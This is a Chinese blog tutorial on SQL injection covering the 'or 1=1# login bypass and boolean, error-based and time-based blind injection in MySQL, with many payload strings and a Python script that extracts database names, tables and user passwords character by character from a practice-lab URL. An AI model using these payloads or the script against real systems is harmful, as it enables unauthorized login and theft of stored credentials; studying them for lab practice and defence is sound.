SQL注入万能密码以及盲注深入总结

SQL注入万能密码的奇妙逻辑

我们在使用万能密码的时候会用到。

Select * from admin where username=’admin’ and password=’admin’

我们可以用’or 1=1#

作为密码输入。原因是为什么?

这里涉及到一个逻辑运算,当使用上述所谓的万能密码后,构成的 sql 语句为:

Select * from admin where username=’admin’ and password=’’or 1=1#’

Explain:上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。

原 因 是 在 where 子 句 后 , 我 们 可 以 看 到 三 个 条 件 语 句 username=’admin’ and

**password=’’**or **1=1。**三个条件用 and 和 or 进行连接。在 sql 中,我们 and 的运算优先

级大于 or 的元算优先级。因此可以看到 第一个条件(用 a 表示)是真的,第二个条件(用

b 表示)是假的,a and b = false,第一个条件和第二个条件执行 and 后是假,再与第三

个条件 or 运算,因为第三个条件 1=1 是恒成立的,所以结果自然就为真了。因此上述的语

句就是恒真了

图片[1]-SQL注入万能密码以及盲注深入总结-Drton1博客

SQL注入盲注深入理解

  • 基于布尔 SQL 盲注
  • 基于时间的 SQL 盲注
  • 基于报错的 SQL 盲注

截取字符串的相关mysql函数:

  • left(a,b)从左侧截取 a 的前 b 位
  • substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
  • mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

字符转为ascll码相关函数:

  • ascii()将某个字符转换为ascii 值
  • ord()函数将某个字符转换为ascii 值
  • hex()函数将字符转为16进制
  • bin()函数 返回二进制

相关正则判断关键字

  • regexp
  • like

1:基于布尔 SQL 盲注———-构造逻辑判断

利用left进行布尔盲注

这里就详细介绍left函数,其他的函数是一样的方法。

left()盲注数据库名

数据库名第一位,这里实战都是用二分法 减少判断次数 ,这里只是阐述原理

‘ and left(database(),1)>’a’ —>真

‘ and left(database(),1)>’b’ —>真

…..

‘ and left(database(),1)>’g’ —>假

‘ and left(database(),1)=’g’ —>真

从而得到第一位为g。

当然也可以

‘ and left(database(),1)=’a’ ,b‘ ,‘c’,’d’等等一个一个试,回真的就是那个了。

数据库第二位

‘ and left(database(),2)>’ga’ —>真

‘ and left(database(),1)>’gb’ —>真

‘ and left(database(),1)>’gc’ —>真

‘ and left(database(),1)>’gd’ —>真

‘ and left(database(),1)>’ge’ —>假

‘ and left(database(),1)=’ge’ —>真

得到第二位为e

第三位往后都是依次类推。

这里说下什么时候判断结束,有两个方法,第一种是你先判断数据库的名的长度

‘ and length(database())=? 看什么时候为真 以此得到数据库名长度 然后就知道什么时候结束了。

第二种 比如现在以该判断第五位了

‘ and left(database(),5)>’gegea’ —>假

数据库库名的第五位是否比‘a’大 但是回显异常,却又不等于A时 说明库名已经猜测完毕。

left()盲注表名

第一个表名的第一个字符:

" and left((select table_name from information_schema.tables where table_schema = 'gege' limit 0,1),1)>'a' --+

仔细观察是不是跟上面一样的= = 就是把查询数据库名的函数database() 换成 查询第一个表名的select table_name from information_schema.tables where table_schema = 'gege' limit 0,1

语句其他都是一样的,就不过多阐述。

left()盲注列名

" and left((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1)>'a' --+

还是把查询语句替换后进行的 原理同上。

left()盲注数据

判断该表下的列第一条数据的第一个字符。

" and left((select 列名 from 表名 limit 0,1),1)>'a' --+

所以说这思路都是一样的不同的就是查询语句的变化。

利用substr进行布尔盲注

substr(a,b,c)跟left(a,b)有一点不同 就是substr它可以一位一位读 比如读数据库名字的第二个字符

substr(database(),2,1),而left()只能读后n位。 这就是区别

其他流程跟上面一样,进行替换即可。

利用mid进行布尔盲注

这个函数的作用跟substr()一样,主要用作当substr函数关键字被过滤 替换使用等 或者个人习惯,都一样。

利用ascii码编写脚本进行布尔盲注

一般盲注使用ascii判断是利于脚本的编写

比如 ‘ and ascii(substr(database(),1,1))=115 我们就能判断第一位的asii码是不是等于115

如果我们把后门115写成一个变量,一个for循环就可以遍历完所有字母的asii码。

贴个自己写的代码 不解释了 很容易看懂

import requests

url="<http://43.138.207.3:8002/Less-6/?id=1>"
flag=""
for i in range(1,50):
    for s in range (33,127):
        #payload='"and ascii(substr(database(),'+str(i)+',1))='+str(s)+'--+'
        #payload='"and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = "security" limit 0,1),'+str(i)+',1))='+str(s)+'--+'
        #payload = '"and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = "users" ),' + str(i) + ',1))=' + str(s) + '--+'
        #payload = '"and ascii(substr((select group_concat(id) from users),' + str(i) + ',1))=' + str(s) + '--+'
        #payload = '"and ascii(substr((select group_concat(username) from users),' + str(i) + ',1))=' + str(s) + '--+'
        payload = '"and ascii(substr((select group_concat(password) from users),' + str(i) + ',1))=' + str(s) + '--+'

        res = requests.get(url+payload)
        #print(res.text)
        if "You are in" in res.text:
            flag+=chr(s)
            print(flag)
print(flag)

关于用正则进行逻辑判断:

[转载]sql 盲注之正则表达式攻击 – lcamry – 博客园 (cnblogs.com)

该文章介绍很详细,其实原理跟上面一样,只是具体的写法有些不同。

总结

我们根据此思路 那么可以总结说

只要是能获取字段信息的函数<—> 我们控制比对信息 —>进行布尔判断

只要是能获取内容与目标进行比对的函数< —> 我们控制输入信息— >进行布尔判断

只要满足这两点任何一个的关键字或者函数,我们都能来进行布尔盲注。

2:基于报错的 SQL 盲注——构造 payload 让信息通过错误提示回显出来

  • 利用count报错
  • double数值溢出报错
  • BIGINT溢出报错
  • 不合法XPATH路径报错
  • version重复报错

*▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2)) a from information_schema.columns group by a

这里有篇文章介绍的很详细原理我就不造轮子了,看完理解了,不想写了。

(13条消息) SQL报错型盲注教程(原理全剖析)_Pz_mstr的博客-CSDN博客_报错盲注

补充以下:

//explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的 重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时 重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需 要多试几次才行。 以上语句可以简化成如下的形式。 select count(*) from information_schema.tables group by concat(version(),floor(rand(0)2)) 如果关键的表被禁用了,可以使用这种形式 select count() from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2)) 如果 rand 被禁用了可以使用用户变量来报错 select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

▲select exp(~(select * FROM(SELECT USER())a)) //double 数值类型超出范围

这个跟下面一个都是利用数值溢出来报错,需要注意的点就是 这个只适用于5.5.5版本以上的数据库。

▲select !(select * from (select user())x) -(ps:这是减号) ~0//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上

这里有一篇文章详细介绍了此报错的原理以及注入方式:

(转载)使用exp进行SQL报错注入 – lcamry – 博客园 (cnblogs.com)

▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

这两个是我们最常用的报错注入,extractvalue跟updatexml要求xpath是一个合法路径,不是合法就会报错,而我们输入一个查询语句就不是合法路径,从而导致报错,爆出查询数据。

▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql 重复特性,此处重复了 version,所以报错

报错原理:

mysql列名重复会导致报错,通过name_const制造一个列

我们可以利用mysql列名重复会导致报错这个原理得到数据

跟上面的利用count报错原理一致。

3:基于时间的 SQL 盲注———-延时注入

▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假, 执行 sleep Ps:遇到以下这种利用 sleep()延时注入语句 select sleep(find_in_set(mid(@@version, 1, 1), ‘0,1,2,3,4,5,6,7,8,9,.’)); 该语句意思是在 0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。

▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()函数进行注入。

下列是不同数据库sleep禁用过滤后,可以使用的代替方法:

Mysql BENCHMARK(100000,MD5(1)) or sleep(5)

Postgresql PG_SLEEP(5) OR GENERATE_SERIES(1,10000)

Ms sql server WAITFOR DELAY ‘0:0:5’

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论